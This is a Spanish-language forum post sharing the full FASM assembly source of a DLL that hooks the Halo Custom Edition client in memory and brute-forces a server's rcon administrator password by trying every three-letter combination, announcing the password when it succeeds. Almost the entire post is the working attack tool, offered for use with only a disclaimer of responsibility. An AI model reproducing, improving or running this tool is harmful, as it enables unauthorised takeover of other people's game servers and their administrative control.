Bueno, aquí os dejo este código fuente de dicha herramienta que yo mismo programe.
; Halo Rcon Ataque de Fuerza Bruta v0.1.
; Programación y Ing. Inversa por Juan fary, mas conocido con mDrinky
; 13 - Septiembre - 2012
; Nota: Cualquier consulta sobre las funciones nativas de Halo que aqui se utilizan
; las pueden consultar a mi correo: drinky.94@hotmail.com
; ADVERTENCIA: El autor de este programa no se hace responsable de la mala utilización que se le pueda dar a este software.
format PE GUI 4.0 DLL
entry DllEntryPoint
include 'win32ax.inc'
section '.code' code readable executable
proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
cmp [fdwReason],1
jne salir
mov eax,[EstadoConsola]
mov byte[eax],1 ; Emulamos que la consola esta desplegada.
push Bienvenida
push string
xor eax,eax
call ImprimirVerdadero ; Imprimimos mensage de bienvenida
add esp,0x8
push Autor
push string
xor eax,eax
call ImprimirVerdadero ; Imprimimos autor
add esp,0x8
mov eax,[EstadoConsola]
mov byte[eax],0
invoke VirtualProtect,[Procesar],6,PAGE_EXECUTE_READWRITE,addr oPerm ; hookeamos procesar
mov eax,[Procesar]
mov byte[eax],0x68 ; push
inc eax
mov dword[eax],mProcesar ; direccion
add eax,4
mov byte[eax],0xC3 ; ret
invoke Sleep,1
invoke VirtualProtect,[Imprimir],6,PAGE_EXECUTE_READWRITE,addr oPerm ; hookeamos imprimir
mov eax,[Imprimir]
mov byte[eax],0x68 ; push
inc eax
mov dword[eax],mImprimir ; direccion
add eax,4
mov byte[eax],0xC3 ; ret
invoke GetCurrentProcess
invoke FlushInstructionCache,eax,NULL,NULL ; refrescamos las instrucciones
salir:
ret
endp
ImprimirVerdadero: ; Función para arreglar la funcion hookeada de imprimir
sub esp,0x10 ; 6 primeros bytes de la función imprimir
push edi
mov edi,eax
mov eax,[Imprimir]
add eax,6 ; Saltamos a la función original
jmp eax
mImprimir:
mov ebp,esp
push ebp
mov eax,dword[ebp+8] ; eax = puntero a cadena que se iva a imprimir.
.if eax = 0
pop ebp
ret
.endif
cmp [HackOn],0
je NoFiltro
; Hay que poner bandera a 1
.if byte[eax] = 'A'
.if byte[eax+2] = 'c'
pop ebp
jmp SeguimosBus
.endif
.endif
.if byte[eax] = 'r'
.if byte[eax+2] = 'o'
pop ebp
SeguimosBus:
.if [Bandera] <> 1
call SaltoSinFlujo
.endif
ret
.endif
.endif
.if byte[eax] = 's'
.if byte[eax+3] = 'r'
pop ebp
mov [Bandera],1
mov edi,LimpiarConsola
call ProcesarVerdadero ; Limpiamos la consola
push OkClave
push string
xor eax,eax
call ImprimirVerdadero
add esp,8
push ImprClave
push string
xor eax,eax
call ImprimirVerdadero
add esp,8
mov [HackOn],0
ret
.endif
.endif
NoFiltro:
push eax
push string
xor eax,eax
call ImprimirVerdadero
add esp,0x8
pop ebp
ret
SaltoSinFlujo:
invoke TerminateThread,[HiloViejo],0
invoke CreateThread,0,0,DarFlujo,0,0,0
mov [HiloViejo],eax
ret
DarFlujo:
invoke Sleep,500
mov edi,LimpiarConsola
call ProcesarVerdadero ; Limpiamos la consola
jmp BucleClaves3
ret
mProcesar:
.if byte[edi] = 'm'
.if byte[edi+4] = 'y'
call [CerrarConsola] ; Cerramos la consola para poder seguir jugando mientras
push Iniciando
push string
xor eax,eax
call ImprimirVerdadero ; Mensage informando que vamos a iniciar el forzado.
add esp,8
invoke CreateThread,0,0,mFB,0,0,0 ; Iniciarmos Hack!
mov [HackOn],1
ret
.endif
.endif
call ProcesarVerdadero
ret
mFB:
mov edi,CadenaClave
mov [Letra1],64 ; Letra1 = Primer byte
BucleClaves:
inc [Letra1]
mov eax,CadenaClave
add eax,5
mov dl,byte[Letra1]
mov byte[eax],dl
mov byte[ImprClave],dl
mov [Letra2],64 ; Letra2 = Segundo byte
BucleClaves2:
inc [Letra2]
mov eax,CadenaClave
add eax,6
mov cl,byte[Letra2]
mov byte[eax],cl
mov byte[ImprClave+1],cl
mov [Letra3],64 ; Letra3 = Tercer Byte
BucleClaves3:
inc [Letra3]
mov eax,CadenaClave
add eax,7
mov bl,byte[Letra3]
mov byte[eax],bl
mov byte[ImprClave+2],bl
mov eax,[EstadoConsola]
mov byte[eax],1
push ImprClave
push string
xor eax,eax
call ImprimirVerdadero ; Imprimimos la Clave por la que vamos
add esp,0x8
mov edi,CadenaClave
call ProcesarVerdadero ; Procesamos la intruccion
; por aqui no se pueden poner Sleep porque el programa se salta las rcon
.if [Letra3] >= 90
mov [Letra3],65
inc [Letra2]
mov eax,CadenaClave
add eax,6
mov cl,byte[Letra2]
mov byte[eax],cl
mov byte[ImprClave+1],cl
.endif
.if [Letra2] >= 90
mov [Letra2],65
inc [Letra1]
mov eax,CadenaClave
add eax,5
mov dl,byte[Letra1]
mov byte[eax],dl
mov byte[ImprClave],dl
.endif
ret
ProcesarVerdadero: ; Funcion Para Arreglar la funcion verdadera hookeada de procesar
mov al,byte[edi] ; Primeros 10 bytes de la funcion procesar
sub esp,0x500
cmp al,0x3B
mov edx,[Procesar]
add edx,0xA ; Saltamos a la funcion procesar verdadera
jmp edx
section '.data' data readable writeable
Bienvenida db '+ Fuerza Bruta para Halo Custom Edition está listo para usarse.',0
Autor db '+ Programado por mDrinky.',0
CadenaClave db 'rcon XXX sv_rcon_password',0 ; Hay que cambiar los bytes 6,7 y 8
ImprClave db 0x0,0x0,0x0,0x0 ; Se sustitullen los 3 primeros bytes
LimpiarConsola db 'cls',0
OkClave db 'La rcon del servidor es:',0
string db '%s',0
Iniciando db 'Iniciando Fuerza Bruta al servidor!',0
Letra1 dd ?
Letra2 dd ?
Letra3 dd ?
oPerm dd ?
HiloViejo dd ?
Bandera dd ?
HackOn dd ?
EstadoConsola dd 0x651E88 ; Direccion que contiene 1 byte indicando el estado de la consola ACTIVA/NO ACTIVA
Procesar dd 0x4C9E10 ; Dirección de la funcion que procesa las instrucciones
CerrarConsola dd 0x4C9980 ; Direccion de la funcion de ciera y abre la consola
Imprimir dd 0x499BD0 ; Direccion de la funcion que imprime datos en pantalla
section '.idata' import data readable writeable
library kernel,'KERNEL32.DLL',\
USER32,'USER32.DLL'
import kernel,\
VirtualProtect,'VirtualProtect',\
CreateThread,'CreateThread',\
FlushInstructionCache,'FlushInstructionCache',\
GetCurrentProcess,'GetCurrentProcess',\
Sleep,'Sleep',\
TerminateThread,'TerminateThread'
import USER32,\
MessageBoxA,'MessageBoxA'
section '.reloc' fixups data discardable
PaqGUNp_QV4
Tambien tengo algo implementado para evitar estos ataques, si alquien lo quiere que avise!.
un saludo.